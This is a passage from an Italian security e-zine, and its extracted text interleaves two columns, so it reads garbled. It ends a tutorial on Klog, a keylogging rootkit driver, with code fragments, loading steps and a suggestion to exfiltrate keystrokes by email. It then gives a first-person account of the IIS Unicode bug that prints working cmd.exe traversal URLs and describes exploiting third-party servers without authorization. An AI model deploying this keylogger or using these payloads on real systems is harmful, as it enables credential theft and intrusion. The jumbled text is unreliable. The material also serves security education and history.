esecuzione. Klog è solo un Proof Of Concept (un codice pDeviceObject->DeviceExtension)->
dimostrativo) ed in quanto tale cerca di “uscire” dalla pKeyboardDevice,
memoria in modo pulito senza generare alcun crash del pIrp
sistema. Un rootkit nel mondo reale mira invece a );
rimanere in memoria per il più lungo arco temporale
possibile senza essere rimosso, pertanto la funzione di Un pò più complessa è la funzione DispatchRead
scaricamento viene usualmente e di proposito lasciata dichiarata in kbdhook.c che invece gestisce la
vuota. Nella maggior parte dei casi ciò causerà un Blue ricezione delle richieste IRP_MJ_READ. Per ogni IRP di
Screen Of Death dopo ogni tentativo di rilascio del questo tipo la funzione deve infatti impostare la
driver da user space. C o m p l e t a t i o n R o u t i n e c o n
IoSetCompleationRoutine, questo però dopo aver
Cominciano ad arrivare gli IRP… predisposto correttamente lo Stack Location:
51
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
look at WINDOWS stratificato di Windows
specifica la funzione di callback che verrà invocata nell'effettivo tasto premuto passando questi dati alla
quando l'IRP sarà completato (ovvero quando da funzione ConvertScanCodeToKeyCode (dichiarata
richiesta “vuota” attraverserà la catena con lo scancode all'interno di scancode.c). Al ritorno da questa funzione
corrispondente al tasto premuto dall'utente). Anche in il Worker Thread registra su file il tasto effettivamente
questo caso l'IRP viene passato al driver di livello premuto con ZwWriteFile:
inferiore con IoCallDriver.
ZwWriteFile(
pKeyboardDeviceExtension->hLogFile,
Fase finale: Intercettazione e logging
NULL,
NULL,
Lo scopo della funzione OnReadCompletation è quindi NULL,
quello di estrapolare gli scancode e posizionarli nella &io_status,
coda tenuta sotto controllo dal Worker Thread in modo &keys,
che questo possa convertirli in appositi tasti da loggare strlen(keys),
su file. Dapprima Klog si assicura che l'IRP ritornato sia NULL,
stato “completato” con successo, ovvero abbia “a NULL
bordo” uno o più scancode: );
52
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
look at WINDOWS stratificato di Windows
Testare il funzionamento di Klog file C:\Klog.txt. Questo non potrà essere aperto
mentre il driver è in esecuzione. Per tale motivo è
A questo punto del codice possiamo dire che tutti i necessario scaricare il rootkit dalla memoria per potervi
principali aspetti di un keyboard filter driver sono stati accedere o eventualmente trovare un metodo
coperti (si rimanda per maggiore completezza, se non alternativo (ad esempio modificare il sorgente in modo
lo si è fatto fino ad ora, ai sorgenti commentati). Adesso che i tasti loggati vengano inviati per email o “sparati”
però è il momento di un po' di pratica! Per testare il fuori attraverso altri meccanismi).
funzionamento di Klog nel vostro sistema (quelli da noi
testati sono stati Windows 2000 Sp4 e Windows XP Il secondo metodo richiede invece uno step preventivo
SP2) potete procedere in due modi. Il primo è quello più in più: la compilazione dei sorgenti. Installato il WDK
semplice. Prelevate dal riferimento [7] il driver rootkit già (reperibile dove indicato nel Box a pagina 47) cliccate
compilato (Klog.sys[14]) ed il tool InstDrv.exe. su Start, Programmi, Windows Driver Kit, WDK6000,
Lanciate quest'ultimo. Nel text box inserite il percorso Build Environments e selezionate il tipo di sistema
completo in cui avete copiato il .sys, quindi cliccate operativo in cui il rootkit dovrà essere caricato.
dapprima sul pulsante “Install” e dopo su “Start”. Un Scegliete l'icona del prompt dei comandi marcata come
messaggio di avviso vi dovrebbe avvertire della corretta “Checked”, quindi all'apertura dell'interprete spostatevi
riuscita dell'operazione. A questo punto il rootkit è in con il comando DOS “cd” nella cartella in cui sono
esecuzione in memoria e dovreste accorgervene anche contenuti i sorgenti di Klog e lanciate il comando
dalla presenza nel vostro hard disk del file “build”. Al termine della compilazione l'oggetto binario
C:\Klog.txt. Digitate un po' di tasti (ad esempio verrà collocato all'interno della sottodirectory “bin”.
provate ad inviare una email o loggarvi alla vostra Svolgete le operazioni descritte in precedenza per
webmail protetta con SSL). Al termine cliccate sul caricarlo e testarlo.
pulsante “Stop” di InstDrv ed osservate il contenuto del
53
LA VERA STORIA
Racconti dall’ underground DELL’ UNICODE BUG
I
l tema dell'etica hacking è uno dei più dibattuti da
certe leggende metropolitane vorrebbero far credere.
oltre vent'anni e questo a dispetto della lunga
Forse una volta….But no more!
datazione di uno dei primi documenti, possiamo
definire cardine della cultura hacker primordiale, The I fatti
Conscience of a Hacker[1] (anche noto come The
Hacker Manifesto), apparso per la prima volta l'8 Tutto ebbe inizio con un post anonimo nel forum di
gennaio del 1986 nel numero 7 di Phrack. Scritto da Packetstorm il 10 ottobre del 2000:
The Mentor dopo il suo arresto, oggi diffuso in
svariati siti web, rappresenta ancora la principale Title: IIS5 has a very big bug that
fonte di ispirazione per molti hacker o sedicenti tali, let you execute arbitrary command
persone “ispirate” in gran parte della casistica a
commettere deface: “Ma The Hacker Manifesto non On my win2000+IIS5 ,I can use this URL
dice esplicitamente che non si può defacciare un sito to execute dir command:
Web!” E come potrebbe?? D'altronde è stato scritto http://127.0.0.1/scripts/..%c1%1c../wi
prima ancora che Tim Berners-Lee assieme a nnt/system32/cmd.exe?/c+dir+c:\
Robert Cailliau progettassero le specifiche
preliminari di HTTP ed HTML ed il concetto di World and this is a example:
Wide Web a cavallo tra il 1989 ed il 1990! La http://www.linux.org.cn/scripts/..%c1%
sensazione al momento, parlando appunto di “etica 1c../winnt/system32/cmd.exe?/c+dir+c:\
hacking”, pare essere che ci si stia allontanando
sempre più dalla meta, utilizzando pretesti farlocchi Il contenuto del messaggio era auto-esplicativo e
per giustificare azioni oggettivamente senza senso, descriveva quello che sarebbe passato alla storia
utili forse ad esaltare unicamente un ego alterato e come l'IIS Unicode Bug. La vulnerabilità permetteva
represso. Ad esempio, dove sta la ricerca della di eseguire remotamente qualsiasi comando su un
conoscenza e dell'informazione nel defacciare il sito sistema in cui era installato Internet Information
del comune di Sant'Ilario dello Ionio o di Monastir in Services 5.0, il web server Microsoft in dotazione di
quel di Cagliari come realmente accaduto negli ultimi default con Windows 2000, semplicemente digitando
mesi? la stringa descritta nel post all'interno di un qualsiasi
browser web. Il problema risiedeva apparentemente
Quella che vi proponiamo oggi è una storia come nel modo in cui il servizio gestiva i caratteri Unicode,
tante altre, una storia dalla quale presumiamo, anzi decodificandoli solo successivamente anziché prima
siamo convinti, si possa trarre una morale (in fondo le della validazione del percorso e della risorsa richiesta
storie dovrebbero servire proprio ad imparare non dall'utente. Inutile dire che www.linux.org.cn fu
solo dagli errori personali ma anche e soprattutto da bucato in quelle ore da migliaia di provetti hacker ed
quelli commessi dagli altri). Si parla di un ragazzo infestato dalle peggiori backdoor che potessero
stupido e fortunato allo stesso tempo. Forse non un esistere nella rete. Davvero strano il destino di questo
hacker. Una persona che ammette di aver compiuto sito i cui contenuti, residenti su piattaforma
delle azioni “incaute” per uno scopo ben preciso proprietaria Microsoft, miravano invece ad informare
(sicuramente opinabili) ma che aldilà della rabbia che gli utenti dell'esistenza del movimento open source e
aveva dentro non è stato così codardo da del sistema operativo Linux. Oggi in quel server ci
prendersela con il primo di turno, che ha deciso gira una Debian con Apache. Come hanno dichiarato
piuttosto di “piegare il sistema” per raggiungere il suo alcuni miei amici profondi sostenitori delle tecnologie
obiettivo, non prenderlo a martellate! Perché non aperte, probabilmente chi gestiva quel sistema ha
sono tutte rose e fiori. Se ti beccano oggi non vai a imparato la lezione.
lavorare per la NASA o per una grossa multinazionale
[1] http://www.phrack.org/archives/7/P07-03
54
LA VERA STORIA
Racconti dall’ underground DELL’ UNICODE BUG
Tornando alla storia dei fatti, in realtà esisteva un problema. Prima che la vulnerabilità divenisse celebre
grosso impedimento. Il trucco descritto nel post di io ero comunque già al corrente di questo fatto.In realtà
Packetstorm funzionava solamente sui server cinesi. ci avevo sbattuto il grugno per diverse
Quelli europei ed americani sembravano non essere ore perché dopo aver installato Windows 2000 nella
minimamente intaccati dal problema. Iniziai quindi a mia LAN di casa e trovato la corretta sequenza di
cercare di capire il perché. A quel tempo non avevo la caratteri Unicode, avevo aggiornato il server con tutte
minima conoscenza del set di caratteri Unicode. le patch disponibili del momento e dopo il reboot non
Installai Windows 2000 Server sulla mia LAN di casa ero più riuscito a replicare il problema durante i test
e cominciai velocemente a documentarmi su di esso. successivi. Ci volle un bel po' prima che riuscissi ad
Appresi i concetti base e cominciai a pensare tra me e individuare la patch che rendeva nulla la falla. Allora più
me che i cinesi utilizzavano sicuramente un set di di oggi installare gli aggiornamenti del sistema
caratteri diverso rispetto a quello adottato in Italia. La operativo era comunque un optional quasi per
chiave di volta risiedeva quindi probabilmente nel chiunque (sia che fosse un'azienda, sia che fosse un
trovare la giusta sequenza di caratteri Unicode semplice utente desktop) ed è per questo motivo che i
funzionante sui server Windows che supportavano la worm ed i virus che sfruttarono in seguito l'Unicode Bug
lingua inglese ed italiana. Scrissi allora un piccolo per diffondersi in rete, hanno potuto scorrazzare
programma in C che testava ciclicamente delle liberamente per anni prima di essere quasi del tutto
occorrenze differenti di “%c1%1c” (quella a sua debellati (ma questa è una questione che affronteremo
volta menzionata nel post di Packetstorm). Ciascuna in seguito). La patch MS00-57[2] menzionata nel
occorrenza veniva poi automaticamente inviata al bollettino MS00-78[3] non l'aveva insomma installata,
web server, nel tentativo di eseguire il comando “dir fino a quel momento, quasi nessuno. Oggi proprio per
c:\”. Poi osservavo le risposte ritornate alla ricerca questa sorta di negligenza, insita possiamo definire
di un output favorevole. Alla fine trovai un'occorrenza “built-in” nella maggior parte degli utenti, sono molti i
funzionante in “%c0%af”. Questa fu la prima ed vendor che hanno cominciato ad includere nei loro
ultima che scoprì. Più avanti altri ricercatori molto più software delle procedure automatiche di
curiosi di me avrebbero testato tutte le combinazioni aggiornamento. Avast ad esempio non mi avverte
Unicode possibili trovandone altre utilizzabili. A nemmeno più di stare lanciando un update delle
questo punto aprì il mio browser, presi dalla lista di definizioni antivirus e me ne accorgo solo quando la
una scansione fatta in precedenza il primo indirizzo spia rossa del mio hard disk comincia a lampeggiare
IP pubblico a cui sembrava rispondere un web server come un'autoambulanza ed il PC si blocca per qualche
IIS ed incollai lì la stringa: secondo! Alla fine, dopo svariati tentativi con IP
pubblici, mi accorsi che ad essere vulnerabili
“http://Indirizzo_IP/scripts/..%c0%af. all'Unicode Bug erano tutte le versioni di IIS (a partire
./winnt/system32/cmd.exe?/c+dir+c:\”
dalla 5.0 montata su Windows 2000 fino al primordiale
release 2.0 delle versioni precedenti del sistema
Ricontrollai un'ultima volta l'URL, quindi pigiai il tasto
operativo Microsoft). Il calendario del mio PC segnava
Invio. Tutto andò come previsto. Il server in questione
a quel tempo il 12 Ottobre dell'anno 2000. Fino a quel
mi ritornò in output le directory del suo volume C. Ero
momento nessuno aveva replicato al post originario sul
riuscito a riprodurre la vulnerabilità non solo in locale
forum di Packetstorm, né comunicato su qualunque
ma anche su Internet. Testai altri indirizzi IP
altro una scoperta simile alla mia.
ottenendo gli stessi risultati positivi. Tutti i server,
nessuno escluso, risultavano essere vulnerabili. Più
avanti quando Microsoft cominciò a prestare [2] http://www.microsoft.com/technet/security/bulletin/ms00-
attenzione all'Unicode Bug si apprese che una patch 057.mspx
rilasciata dalla compagnia nell'agosto del 2000, per [3] http://www.microsoft.com/technet/security/bulletin/ms00-
uno scopo completamente differente, risolveva già il 078.mspx
55
LA VERA STORIA
Racconti dall’ underground DELL’ UNICODE BUG
Avevo in pratica sotto controllo un paio di milioni di La telefonata alla Banca di Roma
web server in tutto il mondo! Uno 0day di questo tipo
oggi farebbe la fortuna di molti criminali online. “Banca di Roma buongiorno, sono XXXX come
In realtà la pacchia durò meno di una settimana. Il 17 posso aiutarla?” – rispose una voce femminile
ottobre dello stesso anno, il ricercatore di sicurezza dall'altra parte del telefono.
noto con il nickname RFP (Rain Forest Puppy) svelò “Si salve” – dissi io con la voce spezzata ed impaurita
quello che io avevo già scoperto da cinque giorni. Nel di un ragazzo che aveva appena realizzato di stare
frattempo non ero rimasto con le mani in mano. commettendo una grossa stupidaggine – “sto
Cinque giorni nel conoscere una vulnerabilità così chiamando per segnalare una pericolosa falla nel
importante sono un notevole vantaggio se sfruttati vostro sito web”.
adeguatamente. Impiegai questo vantaggio Passarono alcuni secondi di ghiaccio, poi la voce
barattando la mia scoperta in cerca di un lavoro, femminile, presa di sorpresa, si fece risentire
ovvero cercando di impressionare favorevolmente cercando di non nascondere affatto il suo classico
qualche azienda. Oggi, con il senno del poi, tiro un accento romanesco: “Credo de non avè capito
sospiro di sollievo e comprendo che mi è andata bbene. Po' spiegamme mejo?”
davvero bene. Avrei potuto rischiare grosso ma il Ed io risposi senza mezzi termini: “Il vostro sito
gioco all'epoca mi sembrava che valesse la candela. www.bancadiroma.it risiede su un'istanza del web
Avevo 19 anni ed ero disoccupato. Nessuna server IIS che permette a chiunque di eseguire
compagnia era disposta ad assumermi o darmi un comandi dall'esterno della vostra LAN o visualizzare i
lavoro perché non avevo ancora adempiuto agli file del sistema… E' una cosa grave!”
obblighi militari…e ripensandoci, allora avevo una Dubitai che la ragazza avesse capito qualcosa. Poi
rabbia da anarchico insoddisfatto che riuscivo a con mia profonda sorpresa mi disse in dialetto meno
placare a malapena, soprattutto quando mi trovavo di accentuato: “Uhhh ma allora sei un hacker? Puoi
fronte all'evidenza di tante prospettive di lavoro aspettare un momento?” – quindi fece partire una di
rovinate o mancate a causa di quello stupido quelle orrende musichette, classiche di quando si
adempimento obbligatorio che era la leva. mette in attesa una persona. “Adesso” - pensai tra me
e me – “mi tracciano e mi arrestano!”. Decisi, come si
Partono le telefonate vede ogni tanto nei film alla TV, che se la ragazza non
fosse ritornata al telefono entro quindici secondi,
Quella che segue è la cronaca approssimativa avrei abbassato la cornetta. In quel momento presi
ricostruita a memoria di ciò che accadde tra il 12 coscienza che non era tanto folle il fatto che stessi
ottobre del 2000 ed i giorni delle settimane cercando di avvertire una banca del grave rischio che
successive. Fino a quel momento non vi era server correva, quanto quello che li stavo proprio chiamando
IIS che testassi che non fosse vulnerabile all'Unicode dall'utenza telefonica di casa intestata ai miei
Bug ed i siti delle banche italiane non facevano certo genitori! Dopo qualche secondo la musichetta si
eccezione. Ne presi di mira una ventina, interruppe e la ragazza mi disse:
approfittando degli URL segnalati in un numero di “Ti passo il servizio tecnico e racconti a loro di questa
Jack uscito proprio in quel periodo. Più della metà cosa. Ok?”. Annuì ringraziando e mi passarono il
erano vulnerabili all'Unicode Bug. Fra questi ne scelsi CED. Qui parlai con un tecnico che senza nemmeno
tre: Banca di Roma, Webank (ovvero la Banca interessarsi del problemi mi chiese come si poteva
Popolare di Milano) e Banca 121, esattamente risolvere. Gli dettai per telefono il link web in cui
localizzate al centro, al nord ed al sud Italia. Interrogai risiedeva la patch MS00-57 e ci salutammo dopo aver
il database whois del NIC (www.nic.it) per risalire ai ricevuto da lui un freddo ringraziamento e la
numeri telefonici delle rispettive sedi e cominciai a promessa che avrebbe provveduto a rimuovere “la
chiamare. minaccia”. Riagganciai amaramente la cornetta con
56
LA VERA STORIA
Racconti dall’ underground DELL’ UNICODE BUG
57
LA VERA STORIA
Racconti dall’ underground DELL’ UNICODE BUG
probabilmente più grandi delle mie che avevo cercato d'affari come ISP li aveva visti costretti a cercare
di ottenere un lavoro in un modo così abietto. Ma alla fortuna verso altri lidi e svolgere quindi consulenze
fine questo benedetto lavoro arrivò comunque. Non extra presso i pochi clienti che avevano. Questo li
era proprio quello che mi aspettavo ma fu quello che portava a trascurare la sicurezza delle loro
diede il “la” alla mia indipendenza economica infrastrutture informatiche. Dopo tali dichiarazioni
definitiva. Era l'aprile del 2001. A gennaio avevo pensai tra me e me di essere capitato nell'azienda più
svolto la visita militare ed ero risultato idoneo. squattrinata della mia città. Alla fine, dopo una cena a
Attendevo quindi di essere chiamato per la leva nei base di hamburger e patatine (il meglio che un
mesi successivi. Il lavoro dicevo…lo ottenni diciannovenne in quel momento potesse desiderare),
ricalcando la metodologia già adottata sei mesi il responsabile commerciale mi offrì un contratto a
prima. Questa volta però invece di puntare alle progetto di un milione di lire. L'obiettivo era quello di
banche, puntai agli Internet Service Provider della creare una intranet (fino a quel momento ogni client
mia città. Da ottobre erano ancora in pochi quelli che era dotato di un indirizzo IP pubblico raggiungibile
avevano installato la patch contro l'IIS Unicode Bug direttamente da Internet), una zona demilitarizzata
ed i provider locali probabilmente erano gli ultimi della per i server, installare un firewall e configurare i nuovi
classifica. Presi contatti con alcuni di questi servizi DNS e di posta, possibilmente più sicuri dei
intenzionato ad illustrare il problema ma a non fornire precedenti che nel frattempo erano diventati il covo di
alcun accenno sul come risolverlo se non fossi hacker maltesi. Terminai il progetto in un mese
riuscito a concretizzare queste nuove occasioni. Al scarso. Successivamente, a seguito di una nuova
telefono mi risposero sempre le ragazze che esperienza lavorativa romana durata poco più di 12
svolgevano i servizi di segreteria. Spiegai loro alla mesi (dal settembre 2001 all'ottobre 2002),
bella e meglio la questione e dissi di farmi richiamare quell'azienda sarebbe diventata la mia “fucina di
dai responsabili aziendali. Nessuno lo fece. Alla fine, formazione professionale” (in pratica laboratori e
qualche giorno dopo, mi decisi a prendere l'auto e sistemi gratis per svolgere test di ogni tipo) per ben tre
recarmi di persona nel provider più vicino a casa mia. anni. Questo prima di realizzare che i consulenti con
Quando mi presentai davanti alla loro porta e spiegai partita iva guadagnavano molto di più degli
il problema mi fecero parlare con il responsabile apprendisti a tempo determinato, la tipologia di
tecnico, l'ingegner Blanco. Dopo una breve contratto che fino a quel momento loro erano stati
spiegazione mi sembrarono tutti quanti più titubanti di capaci di offrirmi.
prima perciò chiesi loro di darmi un computer. Mi
sedetti in una delle postazioni dell'ufficio e gli Per la cronaca, non ho mai svolto il servizio di leva,
dimostrai quello che potevo fare, mostrandogli come ricevendo il congedo nel tardo 2003. Non chiedetemi
potessi accedere in modo semplice ai loro server. Le come ho fatto però…
persone che avevo di fronte erano giovani come me,
al massimo di tre/otto anni più grandi e si mostrarono I worm e gli arresti
entusiasti delle capacità che avevo espresso. In
realtà parlavo con gente che fino a quel momento In termini di diffusione l'Unicode Bug può essere
correlava la parola sicurezza alla protezione civile, considerata senza alcun dubbio la vulnerabilità più
pertanto i loro complimenti erano un po' come quelli di eclatante nella storia informatica dei web server,
un bambino che guarda per la prima volta un gioco di forse quella che addirittura, sfruttata da worm come
prestigio, ma ne rimasi ugualmente felice. L'unico un Nimda e CodeRed (che nei tre/quattro anni
po' più perplesso e rimasto sulle difensive rispetto agli successivi infettarono centinaia di migliaia di PC) è
altri era proprio l'ingegner Blanco. Infondo era lui che stata, in termini di tempo, la più duratura di qualunque
avrebbe dovuto svolgere il ruolo di sistemista in altra sino ad oggi mai esistita. Il 24 settembre 2001,
azienda, ma mi confessarono che lo scarso giro quasi un anno dopo dalla scoperta della falla, il
58
LA VERA STORIA
Racconti dall’ underground DELL’ UNICODE BUG
portale di informazione e notizie online “Punto Ma che cosa avevano fatto esattamente di così
Informatico” riportò le dichiarazioni di alcuni esperti eclatante questi ragazzi? Avevano semplicemente
che definirono Nimda come il virus “a più veloce bucato alcune decine di web server con una
diffusione mai apparso su Internet”. Erano passati 11 vulnerabilità ancora molto in voga ai tempi (appunto
mesi e solo poche decine di migliaia di server web l'Unicode Bug), già nota da più di un anno e per giunta
avevano installato la patch del sito Microsoft non scoperta da loro. Tra questi web server ve ne
disponibile sin dall'agosto del 2000. erano alcuni della FAO, del CNR, del Ministero della
Salute. Uno era addirittura della NASA. I giornali
Quando fu chiaro che l'Unicode Bug rappresentava tuonarono per questo scandalo ed il Maurizio
una grossissima minaccia, appunto solo dopo Costanzo Show fece seguito. Tutti si dimenticarono di
l'avvento di famelici worm, cominciarono anche a dire però che quel serverino dell'agenzia spaziale
scattare le prime manette. Alcuni minorenni che americana, mezzo isolato, era stato dimenticato dai
componevano il fantomatico gruppo hacker Hi Tech sistemisti, il che faceva capire quale importanza
Hate Crew dedito principalmente al defacement, ricoprisse realmente per la National Aeronautics and
ovvero alla modifica al fine di scherno della pagina Space Administration. Si trattava in realtà di un server
principale dei siti web di mezzo mondo, si resero di quart'ordine, prossimo alla dismissione. Insomma
protagonisti di alcune azioni incaute, sfruttando le una colossale balla, gonfiata ad arte allo stesso modo
informazioni divulgate pubblicamente da Rain Forest di come nei mesi precedenti si era narrato nei giornali
Puppy il 17 ottobre del 2000. Sono sempre stato italiani di fantomatici hacker sardi che rubavano dati
contrario alla full-disclosure dei dettagli dell'Unicode dai computer delle loro vittime sfruttando programmi
Bug (e vedendo gli effetti prodotti con il senno del poi “professionali” come Netbus o BackOrifice.
continuo ad esserlo tutt'oggi) ma ripensandoci bene
probabilmente se non l'avesse fatto lui, qualcun altro Penso che quello che mi ha differenziato rispetto ai
avrebbe divulgato poco dopo la notizia al suo posto. Il ragazzi dell'Hi Tech Hate Crew è stato probabilmente
grosso evento si era infatti già verificato con quel il rifiutare lo strumento del defacement come mezzo
primo messaggio anonimo nel forum di Packetstorm. per mettermi in luce. E se oggi sono qui a poter
Il resto sarebbe comunque venuto da sé. raccontare di non aver mai ricevuto una visita della
guardia di finanza, è forse perché mi rendevo conto
I ragazzi italiani arrestati dell'Hi Tech Hate Crew che con certe azioni potevo magari danneggiare
divennero quasi immediatamente celebri, ottenendo qualche povero cristo che portava a casa la pagnotta
gran parte della loro fama grazie alle balle sparate dai facendo il sistemista Windows, mentre
media e giungendo addirittura ad essere “lodati” al probabilmente fino a poco tempo prima faceva il
Maurizio Costanzo Show che dedicò alla loro storia programmatore RPG[4] in un'azienda fallita.
più di una puntata. Il tenente colonnello della guardia
di Finanza Umberto Rapetto, l'attuale responsabile Tutto questo accadeva appena un anno e mezzo
del Gruppo Anticrimine Tecnologico, giunse a prima di conoscere quella splendida ragazza che poi
dichiarare che si trattava “di persone con un profilo sarebbe diventata mia moglie.
tecnico avanzato ed assolutamente al di sopra della
norma” pur la giovanissima età, che la loro cattura era
stata propiziata solo grazie alle competenze dei
professionisti che componevano il suo gruppo e che
si stava lavorando a stretto giro per mettere le
profonde conoscenze informatiche della crew a
[4] Linguaggio di programmazione nativo della piattaforma IBM
disposizione delle forze dell'ordine.
oggi conosciuta come iSeries o System i ed in passato meglio
nota come AS/400.
59
S
ecurity System rispetta le idee di tutte le correnti di pensiero che muovono il settore
dell'Information Technology, sia quella open source che quella contrapposta del
closed source e le relative che da ciascuna di esse derivano. Gli articoli della rivista
non sono firmati dagli autori, in quanto la responsabilità sui contenuti viene egualmente
condivisa da tutti i membri attraverso attività incrociate di revisione, pertanto sono da
considerarsi frutto dell'intero staff che compone la redazione.
La rivista è a pagamento, comunque ciascun numero dopo 120 giorni dalla pubblicazione
viene reso gratuitamente disponibile a tutti gli utenti.
Trattandosi di una rivista elettronica, non possiamo in alcun modo evitare che copie di
Security System non regolarmente acquistate dal sito possano circolare tra gli utenti della
rete. E' bene però considerare che la rivista è frutto dello sforzo di persone che intendono
vedere il loro lavoro riconosciuto e gratificato sotto il profilo economico e che non intendono
sostenere e far crescere un progetto che non vede rispettati questi principi. Se pertanto hai
tra la mani un numero di Security System ottenuto attraverso P2P, ftp, siti che non siano
questo o che ti è stato inviato da un amico, ma volessi ugualmente premiarci ed incoraggiarci
per il lavoro svolto, acquistalo regolarmente come indicato nel sito http://www.segfault.it. o
fai una donazione libera. Ciò ci permetterà di dedicarci a tempo pieno nel progetto,
espandendolo e migliorandolo nel tempo.
Ti ricordiamo inoltre che per qualsiasi suggerimento in merito alla grafica, ai contenuti o altro
inerente la rivista puoi contattarci all'indirizzo parlalarete@segfault.it. Puoi anche inviarci
consigli sugli argomenti che vorresti vedere pubblicati nel prossimo numero. Vi aspettiamo
numerosi!